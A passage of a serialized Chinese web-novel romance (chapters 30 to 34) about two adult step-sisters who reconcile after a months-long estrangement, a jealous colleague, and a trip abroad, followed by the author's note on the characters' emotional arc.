她想见到她,想陪在她的身边。 可是她知道,姐姐生气了,没有哪一次是这样的,她不肯理会她,不肯见她,甚至连电话信息都不回。 终于在五天之后,周五下班,苏青荷独自打车到公司楼下。 她并不常来这里,以前父亲在时也只来过几次,后来上学上班忙,就几乎没有了。 前台是新来的,并不认识她,只说:“您好,没有预约的话,苏总不见客。” 苏青荷犹豫了下,开口说:“我是她妹妹,我是苏青荷。” 公司的人都听说过,苏总有一个同父异母的妹妹,比她小了几岁。但是大家却从来没有见过,谁都不知道,苏青沅的妹妹是谁,甚至连名字都并不知道。 那前台听见她的名字愣了一下,打量了苏青荷几下,忙又道:“那您稍等,我联系一下苏总的秘书,其实我们也并不知,苏总究竟在不在。” 前台态度瞬间转变,笑着对她说:“苏小姐,您也可以打苏总的电话的。” 苏青荷其实不愿意别人知道她们的关系,她略有些踌躇,只道:“我目前联系不上她。” “好的苏小姐,那您稍等。” 那头内线电话已然接通,是苏青沅的秘书,不是徐琦,是另一位姓何的女秘书。 苏青荷只见过一次,是因为徐琦跟着苏青沅出差,没有时间来接她,所以就派了这位姓何的秘书。 何修美一听前台的电话,就亲自下来了。她跑到门口,看见苏青荷,忙笑着迎她,说:“抱歉苏小姐,苏总晚上有个酒会,五点半的时候刚走。” 苏青荷问:“那她几点回来?” 何秘书一边领她上楼,一边解释说:“暂时还不确定呢,但是苏总晚上应该会回来一趟的,徐琦姐让我等她那边结束了再下班。” 苏青荷跟着她进电梯,说:“那我等她回来。” 何秘书带她坐专用电梯到顶楼的董事长办公室,这间原本是父亲的办公室,后来就又成了苏青沅的。 何修美替她倒了一杯水,就独留她一人在这里等她。 苏青荷打量着这间办公室,陈设并不算多精致,甚至有些过时,桌子架子都是父亲用了很多年的。 桌上有一个沙漏,苏青荷还记得这样东西。七岁有一年,她不知道为了什么事粘着不肯离开父亲,父亲无法,就带着她来上班。 父亲去开会,她就在这间办公室里,一个人独自玩耍。她第一次见到沙漏,只觉得新奇,一个人直玩了一整天。 办公桌上摆着许多的文件,还有几张相片。有她们姐妹还有父亲一家三口的照片,是她十二岁那年拍的。 还有一张,是她们姐妹独照。 苏青荷记得,那是她高一的时候。那年,姐姐大二,她们第一次去马来,就在亚比的红树林沙滩上看落日,那是她这辈子看过的最美的日落。 海风吹起她们的长发,金橙色的光芒照在她们身上,她们脸颊相贴着,笑容灿烂而热烈。 苏青荷还记得那时候的快乐与兴奋,她从来没有那么高兴过,无忧无虑,没有任何苦闷烦恼,她像拥有全世界所有的一切美好。 她们有许多的美好和回忆,只是她从来都没有刻意去记得。她像理所当然享受姐姐的爱那样,也将这些美好一样理所当然放在记忆的深处。 从来都不去提。 想念她,是她这几天来最深刻的感受。 苏青荷独自待在这间办公室里等她,从六点钟一直等到了近十点。 她也从来不知道,等待是一件这样漫长的事情。 她抱着枕头靠在沙发里睡着了,十点一刻,办公室门口突然传来一声开门声。 苏青荷惊醒过来,忙转过头急声喊她:“姐——” 话音未落,苏青荷呆怔住,望着门口的苏青沅,还有她身旁一同进来的女人。 苏青沅站在那里看见她,也愣了一下,似乎没有想到,她会找到这里来。连日来的思念在这一刻被酒精催散,她怔怔地出神,眼睫落下来,遮住眼底的情绪,淡声问道:“怎么这时候来?” 苏青荷望着她,还有她身旁挽住她腰半抱着她的女人,她抿了抿唇,说:“我想见你。” 苏青沅:“有事吗?” “你,你晚上回家吗?” 苏青沅穿着高跟鞋有些不稳,只走了半步,忽然微微踉跄了一下,身旁的女人一下笑着拉住她,说:“当心——” 苏青荷忐忑地看着她们,眸光只落在女人落在她腰间的手指。 苏青沅不肯看她,走到饮水机旁,背对着她说:“不回,不早了,你回家早点睡吧,我叫徐琦送你。” 苏青荷紧紧抿住唇,只觉得眼眶里酸涩,像被砸进了一块大石头,她忍着落泪的冲动,低下头淡淡说:“好。”随后,转身离开。 30-40 第31章 苏青荷离开了办公室,外面徐琦受苏青沅吩咐,开车送她回家。 办公室里,苏青沅还站在那里,眼睫低垂着,久久没有回过神来。 一旁陆紫忻目光从门口离开的人身上收回,又看向窗旁落寞的背影,淡声说:“你妹妹?她似乎心情不太好?” “你走吧。”苏青沅闭上眼睛,无力地说道。 陆紫忻笑着走上前,伸手挽住她的细腰,问:“你喝醉了,要不要我留下来——” 苏青沅拧眉推开她,声音冷到极点道:“滚。” 陆紫忻被她推得整个人踉跄了下,扶着桌子站定,她咬住唇,看了看眼前满脸不耐烦的人,知道这么多年了,她依旧不肯正眼看自己,甚至有时候连情面都不顾,她深呼吸,最后转身离开。 办公室只剩下苏青沅一个人,她站在窗前发愣,脑子里几乎全是苏青荷。 窗户上渐渐传来啪嗒声,她仰头看去,见玻璃上有雨丝,知道外面下雨了。 过了近半个多小时,徐琦才回来,告诉她说,已经送人到家了。 她没有回头,道:“知道了,你下班吧。” 徐琦见她最近情绪一直低落着,今晚也是,明明也是应酬,她却死命地灌酒。 刚刚那位陆小姐,是恰好在饭局上碰到的,对方自称是苏青沅的同学,徐清不清楚,但她是跟着车一起回来的。 徐琦没有看到陆紫忻,就知道她已经走了。 她看向窗户旁的人,已经快要十一点了,问道:“苏总,要我送您去酒店吗?” 这几天,苏青沅都是在酒店住的。她一向是回家的,不管加班再晚,她都会回家住。 尤其是这几年,因为妹妹苏青荷一直住在家里,她就更不会住在外边,有时候连加班都不会很晚。 跟着她不少年了,这几年,徐琦也渐渐发现,苏青沅对自己的妹妹不一般。这几日她情绪不好,也明显是因为苏青荷。 徐琦从前只知道,苏青沅对妹妹好,她从来没有见过,有哪对姐妹有她们感情好。 苏青沅不算是个脾气好的老板,她跟了她好几年,不论工作还是生活,她一向都是高要求高标准的人,对待任何人,也从来都是严肃有加。 可唯独对妹妹苏青荷,说“宠溺到极点”这几个字,大概都是连十分之一的份量都够不上。 徐琦没有见过,这世上会有一个人,能对另一个人做到这样好的地步。 即便是亲姐妹,也不会有。 可只有苏青沅。 徐琦以前不知道她们姐妹之间的感情究竟好到什么地步,她以为不过是同父异母的姐妹罢了,因为父亲去世,所以血缘的牵绊,就让她们成了彼此唯一的亲人。 这不过是血缘的力量,血缘是一种奇妙的牵绊,会无形中将两个关系没有那样亲密的人拉近距离。 可是,忽然有一次,徐琦无意中撞见她们亲吻,她才突然明白过来,苏青沅这一切的反常,不仅仅是血缘的力量。 徐琦无法相信,也无法理解。 一切都超出了她的认知,她不明白,为什么会是这样的。 苏青沅醉得几乎没意识,她无力地歪进沙发里,仰起头闭眼说:“都走吧。” 徐琦没有办法劝什么,只要照做。 办公室里的人全都离开了,只剩下苏青沅一个人。 空调冷气依旧十足,她闭眼就在沙发上睡着了。 到凌晨一点,她才下楼打车,去往酒店。 到了酒店门口,她忽然又说:“去蓬溪别墅。” 司机见人喝醉了,怕她乱说,又多问了一句:“女士,您确定是去蓬溪别墅区吗?” 苏青沅头疼欲裂,说:“是。” 凌晨快两点,苏青沅回到家。 她开门进去,客厅里一片漆黑,整栋楼也不见一点光亮。 跌跌撞撞伏在楼梯上,她已经没有一点力气了,只觉得巨大的疼痛几乎要将她撕裂。 “姐——”苏青荷一直没有睡着,听见房间外有声响,出来就看见跌在楼梯上的人,她急忙冲过去扶住她。 苏青沅眸光涣散,连视线也变得朦胧,她望着眼前的人,本能伸手拥抱住她。 像贪恋她身上熟悉的气息,她把眼泪都抹在她颈间,一点点失控地哭泣着。 苏青荷听见她压抑的哭声,心口泛起酸涩,她奋力拉住她,半抱她进浴室。 她几乎站不住,没有办法,苏青荷放了一浴缸的水。脱掉她身上的衣服,苏青荷替她洗澡。 苏青沅双眸湿润,半仰着头望她,苏青荷从来没有见过姐姐这样的眼神,那里面有无穷尽宏大的哀伤,几乎是恳求着望她,苏青荷被这道眸光伤到,她知道,这一次是她伤了她的心。 她主动贴过去,“对不起,姐,是我不好,是我……” 苏青沅伸手捧住她的脸,低头吻上她的唇,随后将人按进肩膀里。 冷战就这样结束了,从头到尾,苏青沅没有提起一个字。 那天夜里,她们没有做。 苏青沅只是紧紧地抱住她,连吻仿佛都是奢侈的。 苏青荷贴在她怀里,明明她想念的人就在她面前,可不知道为什么,这一刻,她拥抱着的人,像是离她好远,她觉得自己的心好疼。 从来没有过的疼,疼得她连呼吸都在颤抖。 苏青荷紧紧圈住她的腰,她睁开眼,仰起头去看她,漆黑里只有这一道轮廓,她看不清她的脸,也看不清她的眼睛,只本能地去碰触她。 苏青荷吻她下颌,柔软湿密的吻,一点点爬上她的唇瓣。 苏青沅微怔,感受到怀里的人忽然而来的热情,她能够感受到,荷荷在讨好她。 她主动靠上来,将身体贴向她,苏青沅单手捧她的脸,指腹在她脸颊上摩挲,只在漆黑之中望着她。 只有一点点的光亮,闪烁出那双眼睛里的光芒。 苏青沅望着怀里的这个人,她曾疼爱了无数次,她是她的妹妹,是她生命里最重要的人,永远都无法割舍掉的存在。 酒精让一切都变得虚无缥缈起来,苏青沅望着她,这一刻,忽然只觉得恍惚,掌心里是她温润的脸庞,她摸到一点点的湿润,苏青沅闭上眼睛轻吻上她的额头,将人按进怀里,声音轻轻道:“睡吧,姐姐抱着你。” 苏青荷埋进她怀里,抽噎着问她:“姐,你还要我吗?” “我从来没有说过要丢掉你。” 苏青荷哭着再次和她道歉:“对不起,姐,真的对不起,我不会再任性了,你不要丢下我……” 苏青沅轻而易举地感知到怀里人的恐惧,不知道从什么时候起,患得患失的人变成了荷荷。 她不知道怎么了,她忽然怀疑一切。 这样的依赖,究竟是什么? 她对荷荷,究竟是爱还是占有欲在作祟?这样引导之下催生而来的荷荷,究竟又算什么? 苏青沅忽然不敢碰她。 —— 盛夏渐渐消逝,秋风过后,带来了冷冽的冬。 十一月,苏青荷社里的工作正式进入正轨。 她的又一新书《独特》出版,这一次要在R国办签售会。社里定了机票,时间在十一月七号,周五上午十点。 因为是国际航班,苏青荷七点就从家里出发,社里还替她安排了文蓝一同前往。 过了安检,到达机场候机大厅。 苏青荷坐在那里怔怔出神,一旁文蓝喊了她好几声,她才回过神来,“怎么了?” 文蓝笑问:“青荷,你怎么了,脸色有些憔悴,昨晚没有睡好吗?” 苏青荷怔愣抬手摸脸,道:“应该是昨晚失眠了。” 文蓝:“是不是激动的?第一次要在国外办签售会,青荷,你真的运气太好了!” 苏青荷轻轻笑了下,说:“我去个洗手间。” 文蓝笑着说好,望着她离开的背影,脸上的笑容一点一点被冷漠替代。 苏青荷走到洗手间,站在镜子前微微出神。 她低头看手机上的通话,广播里不住地在播报即将飞行的航班,她踌躇半晌,终于将号码拨出去。 通话一直在响铃中,可是一直都没有人接。 最后,她失望地挂断了电话。 她们已经有五天没有见面了,事实上,这近半年来,苏青荷都能感受到,姐姐对她的冷漠。 从搬新家的那一天,她们发生了一次争执,后来一直到今天,苏青荷都明显的感受到,姐姐在疏远她。 她不再亲吻她,更不愿意再碰触她。这半年来,她们一次也没有。甚至苏青荷有意主动,苏青沅也都在回避。 甚至中间有一次,苏青沅近乎出差了一个多月,她也没有主动地给她打过一个电话。 一如这一次,苏青荷告诉她,自己要去R国,她也没有来送她,也没有任何的电话问候。 苏青荷知道,姐姐对她失望了,灰心了。 她生出一种无力感,仿佛这一次,是真的要失去了姐姐。 飞机从A市飞往R国市区国际机场,将近七个小时的航程。 晚上七点,飞机一落地,苏青荷就把手机开机了。屏幕上接连跳出来无数的讯息广告短信,终于,苏青荷在一众未接来电里发现了她的来电。 苏青荷急忙回过去,那头也很快接通。 “喂,姐。” “到了吗?”苏青沅还在办公室,她站在窗前,轻轻问。 苏青荷嗯了一声,道:“刚到。” 苏青沅:“好,早点休息吧,注意安全。” 苏青荷知道她要挂断电话,急忙又喊住了她,“你还在生我的气,是么?” 电话那头有长久的沉默,最后苏青沅才开口说:“没有,我没有生你的气。” “那你为什么不理我?” 苏青沅:“没有,只是这段时间一直在忙。” 苏青荷听出来这话里的借口,她眼眶渐渐模糊,她抿住唇,眼泪滴下来,忍着酸涩的嗓音,道:“好,我知道了。” 挂断电话,苏青沅站在窗前久久未动。 徐琦还在办公室里等她的文件签字,看见她突然接到的电话,此刻又落寞的身影独自愣站在那里。 她知道她在乎苏青荷,可这半年来,徐琦也同样感受到,苏青沅在疏远她。连她都能感知到,又何况是苏青荷自己。 徐琦看着她这半年来的沉寂与痛苦,也忽然觉得心酸,就如同她不理解她的靠近,也同样不理解她突如其来的疏远。 “她是在乎你的。”徐琦看着她的背影,忽然开口说道。 苏青沅一愣,有片刻的恍惚。 她没有回头,依旧背对着身后的人。 “你先出去吧。”苏青沅淡声吩咐。 办公室里寂静无声,只剩下她一个人。耳边良久回荡着刚刚徐琦的声音。 在乎……可是她要的不是在乎……—— 作者有话说:非常不好意思,最近放假反而越忙得没有时间写,脑子里乱糟糟的,情绪也不够沉浸,估计得假期结束了才能恢复状态[暴风哭泣]另外这篇文不会很长,时间线都是拉长了写的,比较想注重一下人物感情转变上的刻画,看评论貌似都在希望是姐姐死遁哈哈哈,其实姐姐爱得比妹妹深,她不会舍得死遁的,两人感情关系里的最开始,是姐姐亏欠多一些的,虽然姐姐好,也付出的多,但是关系是她引导且掌控的,妹妹一直处于被动状态,本身就是不公平的。姐姐的意图很明显了,她祈求的是不需要任何怀疑和犹豫,是对方坚定选择的爱,不是依恋,不是在乎,不是无法舍弃……是需要区分明显的爱,所以姐姐此刻陷入彷徨状态,但却是妹妹一步一步确定心意的过程。总之,拉扯就是这样了,我个人比较爱人物的矛盾心理,所以喜欢写迂回的感情线,大致就是两个人各自确定心意的两条线交叉反复着来了,结局是HE,不用担心这个。祝宝宝们愉快,另外给下本想写的文求个收藏《和死对头协议结婚了》欢喜冤家类型~~爱你们鸭~~~ 第32章 苏青荷挂断电话后,眼眶红得视线模糊,她抬手抹掉眼角的湿润,深吸了口气,转身离开。 文蓝还站在原地等她,抬眼看见她眼睫湿润,她喊了一声:“青荷,你怎么了?” 苏青荷抬头,眼泪不受控制本能地又掉下来,她抬手抹了一下,笑说:“没事,我们打车过去吧。” 一应酒店安排都是社里统一提前定好的,苏青荷和文蓝一起打车到了酒店。 一路上,尽管苏青荷再伪装,文蓝还是察觉出来,她有些情绪不好。 事实上,她这半年来一直都情绪不好。苏青沅也一下子像是消失了,之前几乎每天出现的人,现在几乎没有见过几回。 连她们这些身边的外人,都能看出来,她们姐妹之间大约在冷战。 冷战了几乎半年时间,也是前所未有。 所有人都知道,苏青沅把这个妹妹放在掌心里疼爱宠溺。 这样的关系,没有哪对亲姐妹可以比拟,可是文蓝知道,她们之间的关系,却又超出了姐妹之间。 苏青荷是天之骄女,顶级漂亮的长相,优渥的家世,杰出的才华能力……文蓝也不得不承认,她是个样样都顶级优秀的人。 可是人总有瑕疵,这样优秀的外表之下,却藏着不为人知的丑陋。 她们酒店房间是挨着的,文蓝抬眼看见走在她面前的背影,她轻轻叫住她:“青荷——” 苏青荷走到门口停住,回头看她。 文蓝:“你真的没事吗?我看你情绪很不好。” 苏青荷讪讪笑着,眼睫毛上依旧还挂着湿润,她抬手用手背揾了一揾脸颊,掩饰自己的情绪说道:“没事的蓝蓝,我睡一觉就好了,估计就是这两天没有休息好。” “那这两天你好好休息吧,反正离签售会还有几天的,你有什么不舒服,一定要告诉我。” “嗯,我会的,谢谢你蓝蓝。”苏青荷牵唇笑说。 文蓝看着她进了房间,眼梢轻轻垂下来,遮住所有眼底的情绪。 新书签售会社里给了十天的时间,其实总共工作上的安排只要差不多三天就能结束了,剩下的时间,默认是留给她们在R国玩的,一应差旅费都能报销。 文蓝是社里派来陪伴苏青荷的,不需要做什么工作,算是美差一件。因文蓝和苏青荷走得近,所以社里就将这件好事派给了文蓝。 签售会在她们到达R国的第五天下午结束,两人在附近的乔纳禾津公园附近转了转,苏青荷情绪不好,坐在湖边发呆。 想起一旁的文蓝,她回头笑着说:“蓝蓝,要不然你回酒店休息吧,身体不舒服,就不要陪着我在这吹冷风了。” 下午文蓝胃有些不舒服,所以苏青荷贴心地就让她回去休息了。 文蓝见她情绪不好,大概是想要一个人待着,也就没有再勉强支撑,只说:“好,那你也别坐太久了,早点回来吧。” 苏青荷:“嗯嗯。” 文蓝出了公园,外面三三两两有人路过,忽然有个老妇人拉住了她,用一口方言的津布语和她交流,说:“哦姑娘,你不要在这里停留,这个公园最近有变态抢劫犯出没,你需要小心一些,快些远离吧。” 文蓝津布语不好,但还是断断续续拼凑出了她的意思,她愣了一下,忙道谢,下意识要返回去找苏青荷。 可是刚走出去两步,忽然又停了下来,身后那个妇人还没有离开,见她突然要进公园,以为她没听懂她的话,一直在喊她。 文蓝转身,笑着对她说:“谢谢你女士,我知道了,我这就尽快离开。” 回到酒店,文蓝坐在沙发上发愣,她不确定地用手机再次搜索乔纳禾津公园相关的消息,界面跳出来一张蒙面的背影照片,的确说是公园最近附近有一个变态抢劫犯出没。 犹豫了很久,文蓝删掉了手机上所有相关搜索的记录,然后将手机关机。 房间里漆黑一片,她坐在那里,静谧与乌沉一起将她淹没。 天之骄女又如何,凭什么她要拥有一切…… 是她拥有的太多了,人不能贪心,总该失去一些,才能不辜负上天赐予众生所谓的公平和平等。 深夜凌晨,文蓝被噩梦惊醒。 她半知半觉从枕头底下摸出手机,踌躇片刻后开机,并未有任何的未接来电和信息。 她狐疑着给苏青荷打电话,可电话刚拨出去两秒钟,未等响铃,她就吓得挂断了电话。 凌晨近三点,她心跳砰砰地,起床去敲隔壁的门,可是敲了半天也没有任何反应。 终于意识到事态严重,她急忙下楼去找前台,问询和她一起的苏青荷是否回来。前台告知她,房间里的人从上午离开后就没有再回来了。 她再次给苏青荷打电话,但是手机关机中。 文蓝忐忑地怔站在那里,像是想起来什么,她急忙去翻通话记录。 翻了几十页才找到苏青沅的号码,她从来没有备注过,只是好几个月前因为事情打了一回,她没有刻意去存,却还是那后几位印象深刻。 找到号码,她急忙拨出去。 R国与国内有五个小时的时差,此刻凌晨三点,国内是晚上十点。 苏青沅还在公司没有回去,接到一个陌生来电,起先没有接,主动挂断了。而后那个号码再次打来,她狐疑着接通。 “喂。” “喂,是苏青沅吗?我是文蓝,青荷不见了。” 苏青沅愣住,“你说什么?!” 文蓝听出来电话里的那头急切的声音,她颤巍巍地把白天的事情告诉了苏青沅,又说起苏青荷这几天心情如何如何不好,但是隐瞒了公园有变态出没这件事。 苏青沅以为苏青荷出事,急忙起身往外走,一边让文蓝报警。 外面徐琦正犯困,看见她急匆匆地从办公室里出来,脸色凝重,忙问:“老板,怎么了?” 苏青沅心一直在急跳着,她声音有些颤抖地说:“荷荷出事了,你替我查飞R国最近的一班航班,如果没有,就找私人飞机,总之,尽快。” 徐琦见状,知道事情严重,没有任何犹豫,急忙查询了航班。 “十二点有一班。”徐琦抬头对她说。 苏青沅一边在给苏青荷打电话,一边往机场赶。 电话一直关机中,苏青沅手指有些颤抖,她紧紧攥住手机,脑袋垂下来,双手撑着头,整个人陷入无穷的恐惧和慌乱中。 她不该和她生气,也不该不理她,更不该和她冷战。 即便知道她心里没有她,即便知道四年多了她还是忘不掉乔楠,即便知道她时时刻刻在伪装,她也不该不理会她。 徐琦在开车,看见车后座上几乎快要奔溃的人,她开口安慰她:“荷荷不会有事的,你不要担心。” 苏青沅撑住额头,眼睛一点一点睁开,忽然失神地问:“荷荷她,会不会是想不开……” “不会的。”徐琦急忙打断她,对她说,“不会的,她那么聪明的人,她不会的,她在乎你,舍不得你,她怎么会想不开?” 苏青沅想起那天早上,她打电话给她,她明明听见了她声音里的哭腔,她在恳求自己挽留她。这半年来,苏青沅知道自己一直在疏离她,她心里有气,她怪她像捂不化的一块冰,她怪她心里没有她,怪她偶然间的欺骗和自欺欺人…… 那天早上,她明显情绪不对,如果她不说那些话,或许不会发生这样的事情。 近七个小时的航班,苏青沅到达R国已经是快要中午了。 文蓝那边没有任何的消息,报警之后,警察只是例行登记了一些消息就离开了,一直到现在,都没有消息。 苏青沅疯了地一样不停地在公园附近找她,电话一直都没有打通。 一直到近四点钟的时候,电话突然接通了。 “喂荷荷!” 电话那头的人听见电话那头焦急的声音,略微一愣,她轻声喊:“姐。” “你在哪里?发生什么了,为什么不接我电话?!”苏青沅听见熟悉的声音,眼眶倏地发红,她忍着湿润,一颗心简直快要从喉咙口蹦出来,紧张地问道。 苏青荷怔愣住,后知后觉听出她声音里的在乎与急切,解释说:“我手机摔坏了。” 苏青沅还在公园附近,她拿着手机问她:“你在哪里?” 路上行人来来往往,苏青荷站在道路的另一头,看见不远处熟悉的背影,她停住脚,轻声喊她:“姐。” 像是有反应那样,苏青沅下意识回头,隔着长街在路尽头看见人,一颗心这才彻底地落下来,她眼眶湿润,眼泪滴落下来,挂断电话急忙冲了过去。 将人拥入怀中,苏青沅哭着紧紧抱住她,不住地埋怨她:“你知不知道,我有多害怕?” 苏青荷仰头看着她,视线也在这瞬间模糊,“对不起姐……” 苏青沅低头吻住她,堵住了她所有的道歉。 远处树下,文蓝看着在路口相拥相吻的二人,停住片刻,随后转身离开。 第33章 算是一场误会,乔纳禾津公园里出没的,并非是什么变态抢劫犯。 而是一位有些上了年纪的中年妇人,她精神有些不好,因为一次拉住了人不肯放手,说话又颠三倒四,故而传出来说公园有变态抢劫犯出没。 苏青荷也的确是遇到了这个妇人,拉扯间摔坏了手机,那人拉住苏青荷不放,哭着说自己没有东西吃,没有地方住,又说她的女儿车祸去世了。 苏青荷见她可怜,就带着她住了酒店,又陪她吃饭,妇人哭泣地拉着苏青荷不肯放手,又说了很多她女儿的事情,说她女儿多么多么漂亮,多么多么优秀,可是她十七岁就去世了。 不知怎么,*她突然就想起了妈妈。 失去妈妈,和失去女儿,是一种同等的苦。 苏青荷一直陪了她一夜,又把身上所有的现金都留给了她。 下午又去买了新手机,开机之后,才发现姐姐的来电。 酒店里,苏青沅替苏青荷洗澡,镜子前,她用干毛巾擦干她的头发。 苏青荷看着镜子里站在身后的人,不知道因为什么,她会突然跑到R国来,明明几天之前,她还冷漠地对待她。 “你为什么来?”苏青荷对着镜子里的人,轻声问。 苏青沅低头替她擦头发,没有回答她的话。 吹风机呜呜响起来,噪声充斥着整个安静的房间。 声音终于停止,苏青沅替她整理好头发,淡声道:“你出去吧,我要洗澡了。” 苏青荷站起来,道:“我帮你。” “不用。” 苏青沅抬眼看她,声音轻轻说:“我不用你留下来,出去等我吧。” 苏青荷望进她双眸里,那双眼睛里,明明盛满的都是对她的爱,可是,可是她知道,姐姐生气了。 不过一个熊猫挂件,让她对自己生气冷战了长达半年。 苏青荷也从来没有这样觉得,自己有多在乎她。 她不愿意她生气,更不愿意她伤心。 “我不走。”苏青荷走上前,伸手替她解开米色衬衫的纽扣。 衬衫早已湿了半边,扣子一颗一颗解开,解到胸前,苏青沅伸手抓住她,逼她停下来,无奈地说:“荷荷,不要迁就我,出去。” 苏青荷抬眼望她,倔强地说:“我不出去。” 苏青沅咽下喉间的酸涩,抓住她的手,将人拉出了浴室,然后关上门。 苏青荷站在门外,低下头,终于忍不住伤心和痛苦,一点点蹲下来,双手掩面啜泣哭出声。 等了许久,人才从浴室里出来。 苏青荷抬起头,望见头顶上的人。 苏青沅站在她身旁,低头与她对视,片刻之后,她朝她伸出手。 苏青荷望着那干净纤细的手掌,伸起手递过去。 苏青沅攥住她,将人拉起来,望见她脸颊上的泪痕,心有不忍,只开口道:“可以在这边多待几天,到时候我们一起回国。” 苏青荷望着她朝床走去,只留了背影给她。 她走上前,从她身后抱住她。 苏青沅停住脚,感受到后背贴上来的身体,手臂紧紧圈在她的腰间,她低下头,慢慢伸手扶住她,“荷荷,我没有生你的气。如果我真的不要你,就不会到R国来了。” 苏青荷走到她面前,抬头看着她,望着那双眼睛里的一切,企图找出一丝一毫她爱她的证据。 她不愿意听她的解释,伸手捧住她的脸,踮起脚仰头吻她。 苏青沅一怔,她皱起眉闭上眼睛,下意识抬手挽住她的腰,承接住这个突如其来主动的吻。 她们有太久没有亲吻过了,熟悉的气息席卷而来,吻她碰触她,几乎是本能。 双双跌进床榻里,苏青荷覆身压过来,苏青沅扶住她的腰,下意识拧眉伸手要推开她。 苏青荷哭着埋进她的怀里,带着哭腔喊她:“姐……” 她满面泪痕地抬起头望着她,几乎溃不成军地哭着告诉她:“我不爱乔楠,我不爱乔楠了。” 苏青沅彻底愣顿住,她望着头顶上的人,仿佛是一种错觉。 她不知道究竟是真的,还是她脑子里想过了无次数而幻听的话。 她说她不爱乔楠了…… 苏青沅不知道这究竟意味着什么,这一刻她失去了勇气,或许也根本没有再问出口的必要。 苏青沅将人按下来,抬头吻上她的唇。 欺身而上,连日来的思念与情.欲在这一刻全体泛滥。 苏青沅感受到她脸颊上的湿润,她也不得不承认,自己的确是怪她的,她在乎她的心,在乎那个曾经卡在她们中间的疙瘩,只要她愿意说出来,苏青沅就愿意原谅她。 半年了,她不知道自己的在意,竟会如此深刻强烈。 她无法接受荷荷不爱她,更无法接受她的心里会有别人,她不愿意要一个空壳的荷荷,她要的,是一个身心都完完全全属于她的荷荷。 只在顷刻间,所有的冷战仿佛一下子全部消失了。 一直到深夜凌晨,苏青荷浑身赤.裸地贴在苏青沅怀里,心脏处连接的是她的心跳。 苏青沅指尖轻摩挲着她的细腰,侧身贴上她,将人紧紧圈在怀抱之中。她低头吻她额间细密的潮湿,动作轻轻缱绻,温柔喊她:“荷荷……” 连日来失眠,事后又犯困,苏青荷眼皮打架,只觉得浑身都是酸涩无力的,底下泛滥成灾,连呼吸都几乎耗费了她所有的力气。 耳边是她依恋的声音,苏青荷还是本能地应她:“嗯。” “对不起,我不该和你置气了这么久……” 苏青荷抬头,用唇去寻她的唇瓣,堵住她所有接下来的话。 “不是,是我不好。” 苏青沅捧住她的脸,指尖扶起她的下颌,望着怀里这张美丽到极致的面庞。 她无法否认,她爱她,她爱苏青荷,且从来没有变过。 整整两天,她们没有出过房门一步。 苏青沅扔下国内的一切,全心全意地陪在苏青荷的身边。半年了,她们时刻见面,可只有彼此知道,她们分离了整整半年。 仿佛只有亲密与占有,可以抵过一切的缺失和思念。 她们和好如初,也比从前更加相爱。 爱意历经了荆棘,比从前愈加明显。 苏青沅忽然回忆起小时候,她初中生病住院那一回,荷荷守在她的床前,整整几天几夜都不肯离开,哭着喊着,说要和姐姐在一起。 从那之后,苏青沅一改之前的冷淡,对这个妹妹越来越上心。 苏青荷听着她说起这些过去的旧事,一时思绪也回到从前,其实小时候很多的事情记忆都变得模糊了,她讲不清发生了什么,只是依稀记住了一些感受。 “你最开始不喜欢我,第一次见你的时候,你就凶我。”苏青荷贴在她胸口,轻轻回忆说,“其实我很怕你,可是越怕,我就越要靠近你,我想用这样的方式,祈求你会喜欢我,会对我好一点。” 这样的依赖,是她对血缘关系认知的本能。 她也从来都将她当成姐姐去爱,从来都没有一刻想过,这样的关系会变。 苏青荷是六岁来到苏家,十八岁以前,她们之间的交集只有十二年。起先的两年里,只有冷漠与仇视,后来的三年,苏青沅把她当成了妹妹,再后来,她无意中发现,她们之间没有血缘关系,这样的情感,其实没有界限,就在不知不觉间全然改变了。 苏青荷的讨好与靠近,在苏青沅的眼里,早已赋予了另一种意义。 这是一种遐想,禁忌无理的遐想。 或许是不公平的,苏青沅没有给苏青荷任何一点点的时间来接受这件事。她理所应当地单方面逼迫了她,如果不是这样,苏青荷大概永远都不会有此转变。 追求假设的结果,是永远没有结果的一件事。 苏青沅也知道,没有假设与如果,她主导也引导了这一切,苏青荷没有第二条路可以走,无法后退,所以就只能向前。 她们在这条不归路上越走越远,如果有一天注定要山崩地裂,她们也同样无路可逃。 十二月底,她们在R国一起度过了圣诞。 第二日,她们一同回国。 文蓝也在其中,只不过这些天,她都有意避开了她们,知道苏青沅是为苏青荷而来,所以除了归程这日,她都没有出现在她们面前。 机票本来订的是经济舱,后来苏青沅都升级了,连同文蓝的那一份。 头等舱里,姐妹俩坐在前面一排,文蓝在她们后面。 隔着座位,她在缝隙里看见坐在她面前不远处的背影。 苏青沅脸上带着一点笑,她伸手去牵旁边的人,苏青荷轻轻挣开,苏青沅再次抓过去,与她十指相缠。 文蓝望着那相牵的手指,双眸陷入冷寂,从没有哪一刻,她承认自己嫉妒到面目全非。 第34章 回到A市是晚上八点,苏青沅准备带着苏青荷去吃宵夜。 苏青荷邀请文蓝一同去,一旁苏青沅抬眼看了看她,虽然有些不情愿有外人在场,但也没有说什么。 文蓝能够感受到苏青沅的冷淡,她笑了笑,拒绝说:“不去了,我妈还在家等我吃饭呢,就不能陪你了。” 苏青荷见状,也就没有再坚持,只说:“那你路上注意安全,到家了和我发条信息。” 文蓝点点头,笑说:“嗯嗯,我会的。那再见。” 苏青荷和她挥手,说再见,话音未落,一旁苏青沅就挽上她的腰,将她拉走了。 文蓝站在原地,看着二人离开的背影,脸上笑容一点点消失。 苏青沅已经不在乎在任何人面前伪装遮掩了,她拉着身旁的人,低头与她轻笑说话。风扬起她们的长发与衣裙,连光都在偏爱她们,霓虹的灯影里,文蓝也承认,没有人比她们更相配。 可是,她的眼睛还是被刺痛了。 无人知道,也无人在意,她喜欢苏青沅。 苏青沅带着苏青荷离开,徐琦来接机,苏青沅只让她把行李送回家,没有让她再跟着。 两人打了车,准备去吃宵夜。 徐琦看着苏青沅脸上洋溢着笑意,就知道她们和好了。 能牵动苏青沅所有情绪的,从来都只有苏青荷一个人。 深夜十一点多,姐妹两人从小酒馆里出来。 苏青荷喝了一些酒,她酒量不如姐姐,只喝了几杯,脸颊就染上酡红,像夕阳的飞霞,冷风吹过来,她觉得整个人都烧了起来。 工作日的夜里,街上没有多少人。 苏青沅拉着她在空旷的小路上飞奔,苏青荷几乎被她拖着往前跑,笑声,气息,影子,一切都是熟悉的,幸福的,喜悦的。 苏青荷奔跑过去,苏青沅忽然停下来,就这么不经意撞了过去,苏青荷停住脚,抬起眼眸与她对视。 苏青沅低头,轻轻用唇碰了她的一下,没有深入的吻,比任何时候都浅,几乎只是擦过。可却暧昧动人到极致。 